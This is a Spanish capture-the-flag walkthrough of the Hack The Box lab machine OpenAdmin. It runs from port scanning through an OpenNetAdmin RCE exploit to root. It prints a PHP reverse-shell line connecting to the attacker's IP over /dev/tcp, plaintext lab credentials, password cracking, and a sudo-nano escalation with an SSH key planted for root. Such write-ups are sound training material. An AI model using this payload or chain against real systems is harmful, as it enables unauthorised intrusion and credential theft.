This page looks best with JavaScript enabled

Hack The Box - OpenAdmin

 ·  ☕ 4 min read  ·  ✍️ sckull

OpenAdmin es una maquina de HackTheBox aqui encontrarás la solucion para obtener la flag user.txt y root.txt.

Informacion de la Maquina

Nombre OpenAdmin
OS Linux
Puntos 20
Dificultad Facil
IP 10.10.10.171
Maker dmw0ng

MASSCAN & NMAP

Escaneo de puertos tcp y servicios con masscan y nmap.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2020-01-08 05:54:56 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 22/tcp on 10.10.10.171 
Discovered open port 80/tcp on 10.10.10.171

# Nmap 7.80 scan initiated Tue Jan  7 23:51:39 2020 as: nmap -p- --min-rate 1000 -sV -sC -o nmap_scan 10.10.10.171
Warning: 10.10.10.171 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.10.171
Host is up (0.15s latency).
Not shown: 65528 closed ports
PORT      STATE    SERVICE    VERSION
22/tcp    open     tcpwrapped
| ssh-hostkey: 
|   2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
|   256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf🇩🇪bd:6c:7a:54 (ECDSA)
|_  256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp    open     http       Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
16874/tcp filtered unknown
31545/tcp filtered unknown
40838/tcp filtered unknown
42307/tcp filtered unknown
47055/tcp filtered unknown

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jan  7 23:53:43 2020 -- 1 IP address (1 host up) scanned in 123.98 seconds

HTTP

Pagina por default de Apache.
image

GOBUSTER - HTTP

Busqueda de directorios y archivos con gobuster.

1
2
3
4
5
6
root@aoiri:~/htb/openadmin# gobuster dir -u http://10.10.10.171 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -t 115 -x php,html,txt -q
/index.html (Status: 200)
/music (Status: 301)
/artwork (Status: 301)
/sierra (Status: 301)
/marga (Status: 301)

/music

image

/sierra

image

/marga

image

/artwork

image

OpenNetAdmin 18.1.1 - Remote Code Execution

En la pagina de /music encontramos que la pagina login nos redirige hacia otra pagina diferente (/ona), en la cual esta corriendo el gestor OpenNetAdmin en su version 18.1.1.
image

Este gestor tiene una vulnerabilidad del tipo RCE y encontramos un exploit (OpenNetAdmi - ExploitDB ) que aprovecha esta vulnerabilidad, ejecutamos dicho exploit pasandole la url como parametro.

image

USER - Jimmy

Ahora que podemos ejecutar comandos vamos a actualizar nuestra shell a una shell inversa utilizando PHP, descargando el archivo y abriendolo en el navegador para ejecutarlo.

1
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.15.72/1227 0>&1'");

Descargamos en la maquina:

1
wget 10.10.15.72/sc.php

Obtenemos nuestra shell inversa:

image

Entre los archivos de configuracion de la base de datos de OpenNetAdmin encontramos las credenciales para acceder a la base de datos, utilizamos la contraseña para obtener una shell con el usuario Jimmy.
image

Jimmy:
image

Credenciales:

jimmy:n1nj4W4rri0R!

USER - Joanna

Dentro de la carpeta /var/www/ donde usualmente se encuentran las paginas de apache, vemos que jimmy tiene permisos en una de las carpetas.
image

Cambiamos nuestra shell a SSH con el usuario Jimmy para poder enumerar los archivos dentro de la carpeta /home y /var/www.
image

En la carpeta principal de Jimmy encontramos un archivo PHP - post.php el cual hace una solicitud con curl (en PHP) enviando un usuario y contraseña y obtiene el resultado de la solicitud.
image

Al ejecutarlo nos muestra un error:
image

Pero la solicitud la hace hacia el localhost de la maquina en un puerto que no es publico.
image

En /var/www/internal, vemos que en archivo index.php existe una contraseña encriptada.
image

Con la ayuda de crackstation logramos obtener en texto plano la contraseña:
image

Credenciales:

jimmy:Revealed

Ahora que conocemos todo esto, traemos localmente el puerto 52846 utilizando SSH, visitamos la pagina y nos muestra un panel de logeo.

SSH:

1
ssh -L 8080:localhost:52846 jimmy@10.10.10.171

Netstat:
image

Panel:
image

Ingresamos las credenciales que obtuvimos en el archivo index, y nos muestra una clave privada de SSH encryptada.
image

Utilizamos john the ripper para crackear la frase e iniciar sesion con la clave privada.
image

Frase:bloodninjas

SSH Joanna:
Obtenemos una shell y nuestra flag user.txt.
image

PRIVILEGE ESCALATION

Utilizamos sudo para ver los comandos que podemos utilizar sin contraseña, vemos que nano es uno de ellos, con la ayuda de GTFOBbins - nano obtenemos una shell commo root y con ello nuestra flag root.txt.

image

BTW Podemos agregar nuestra clave publica al archivo authorized_keys del usuario root e iniciar sesion con nuestra clave privada.
image

Share on

sckull
WRITTEN BY
sckull
Pentester wannabe

HTB: OpenAdmin